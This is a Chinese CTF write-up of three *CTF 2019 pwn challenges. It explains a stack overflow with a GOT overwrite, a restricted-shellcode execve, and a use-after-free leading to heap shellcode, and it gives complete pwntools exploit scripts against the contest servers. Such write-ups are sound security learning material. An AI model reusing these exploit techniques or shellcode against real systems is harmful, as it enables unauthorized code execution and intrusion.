• *CTF 2019 quicksort、babyshell、upxofcpp


    这次参加比赛总共出了三道,有两道队友都先交了,还是tcl,heap_master卡了差不多一天没解决。。。。还是记录一下出的题目吧

    quicksort

    题目大体流程就是输入要输入的数字数量,然后输入数字,经过一个快速排序输出,然后结束。

    漏洞:

    gets函数这里存在栈溢出,可以覆盖i,j,ptr,num。

    利用思路:

    libc泄露:可以修改ptr指向gets_got,并将i和num设置为1,1。这样可以修改free_got的值同时下面会输出gets的地址来泄露libc

    步骤:

    1.修改free_got为0x8048816同时泄露libc地址

    2.修改free_got为system函数并在bss上面构造/bin/sh,把ptr设置为/bin/sh的地址

    3.调用free时getshell

    exp:

    from pwn import *
    #p = process('./quicksort',env={'LD_PRELOAD':'./libc.so.6'})
    p = remote('34.92.96.238',10000)
    #gdb.attach(p)
    context.log_level='debug'
    #libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    libc = ELF('./libc.so.6')
    free_got = 0x804a018
    main_addr = 0x8048816
    bss_addr = 0x804a03c
    p.recvuntil('sort?')
    p.sendline('3')
    p.recvuntil('number:')
    payload=str(main_addr)+'a'*0x7+p32(1)+p32(1)+p32(0)+p32(free_got-0x4)
    p.sendline(payload)
    p.recvuntil('result:')
    p.recvline()
    gets_addr = int(p.recvline().replace('
    ',''))+2**32
    print "gets_addr:",hex(gets_addr)
    libc.address = gets_addr-libc.symbols['gets']
    system_addr = libc.symbols['system']
    one_gadget = libc.address+0x3ac62
    bin_sh_addr = libc.search('/bin/shx00').next()
    p.recvuntil('sort?')
    p.sendline('1')
    p.recvuntil('number:')
    payload=str(system_addr-2**32).ljust(16,'a')+p32(3)+p32(1)+p32(0)+p32(free_got-0x4)
    p.sendline(payload)
    p.recvuntil('number:')
    payload=str(6845231).ljust(16,'a')+p32(2)+p32(0)+p32(0)+p32(bss_addr+0x4)
    p.sendline(payload)
    p.recvuntil('number:')
    payload=str(1852400175).ljust(16,'a')+p32(1)+p32(0)+p32(0)+p32(bss_addr)
    p.sendline(payload)
    p.recvuntil('result:')
    p.interactive()

    babyshell

    这题由于偷懒第二天起太晚了。做完已经被提交了

    输入shellcode然后会执行,要求是shellcode只能是一个数组里的值。

    这题syscall可以调用,rsi本身就是buf地址,所以只需要把rdi改成0,rdx改成length,就可以调用read写buf了,刚好可写的里面有pop rdi,pop rdx

    exp:

    from pwn import *
    import time
    #p = process('./shellcode')
    #gdb.attach(p)
    p = remote('34.92.37.22',10002)
    p.recvuntil('plz:')
    payload = '''
        push 0x0
        pop rdi
        push 0x73
        pop rdx
        syscall
    '''
    p.send(asm(payload,arch='amd64'))
    payload2 = '''
        mov rax,0x68732f6e69622f
        push rax
        push rsp
        pop rdi
        mov rsi,0
        mov rdx,0
        mov rax,0x3b
        syscall
    '''
    time.sleep(10)
    p.send(('x90'*8+asm(payload2,arch='amd64')))
    p.interactive()
    #raw_input()

    upxofcpp

    一个upx加壳后的程序,脱壳后分析:

    free存在uaf漏洞,而且free和show函数都存在一个特定地址函数调用

    这题一直没想出来,直到队里大佬说加壳的程序中堆是rwx的。

    所以这题就很简单了,步骤为:

    1.构造堆块让使用show函数的时候调用一个堆地址

    2.在该堆地址上面构造shellcode

    3.运行shellcode拿到shell

    exp:

    from pwn import *
    #p = process('./upxofcpp')
    p = remote('34.92.121.149',10000)
    
    context.log_level='debug'
    def add(index,size,content):
        p.recvuntil('choice:')
        p.sendline('1')
        p.recvuntil('Index:')
        p.sendline(str(index))
        p.recvuntil('Size:')
        p.sendline(str(size))
        p.recvuntil('stop:')
        p.sendline(content)
    def delete(index):
        p.recvuntil('choice:')
        p.sendline('2')
        p.recvuntil('index:')
        p.sendline(str(index))
    def show(index):
        p.recvuntil('choice:')
        p.sendline('4')
        p.recvuntil('index:')
        p.sendline(str(index))
    payload = '''
        mov rax,0x68732f6e69622f
        push rax
        push rsp
        pop rdi
        mov rsi,0
        mov rdx,0
        mov rax,0x3b
        syscall
    '''
    print len(asm(payload,arch='amd64'))
    payload = asm(payload,arch='amd64')
    #print len(payload)
    result =''
    i = 0
    while i<35:
        result+=str(struct.unpack('<i',payload[i:i+4])[0])+' '
        i+=4
    result+='-1'
    print result
    add(0,0x22,'-1')
    add(1,0x12,'1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2095775979 -1')
    add(2,0x8,'-1')
    #add(1,0x8,'1 2 1156288656 -1')
    add(3,0x50,result)
    #add(4,0x22,'-1')
    #add(3,0x22,'-1')
    delete(2)
    delete(1)
    delete(0)
    #gdb.attach(p)
    #delete(3)
    show(0)
    p.interactive()
  • 相关阅读:
    xls10-Python3安装cx_Oracle连接oracle数据库实操总结list
    xls3-2-想要使用Python的xlwt设置单元格的背景色
    XLS9-PyCharm下打包*.py程序成.exe
    XLS8-python3+PyQt5+pycharm桌面GUI开发
    epoll模型中LT、ET模式分析
    lambda函数也叫匿名函数,即,函数没有具体的名称。先来看一个最简单例子:
    xls7-python读conf配置文件--ConfigParser
    xls6-python解析properties文件
    xls5-解析properties文件,在python中基本没有遇到
    xls2- 用Python读写Excel文件-乘法口诀
  • 原文地址:https://www.cnblogs.com/lllkh/p/10789575.html
Copyright © 2020-2023  润新知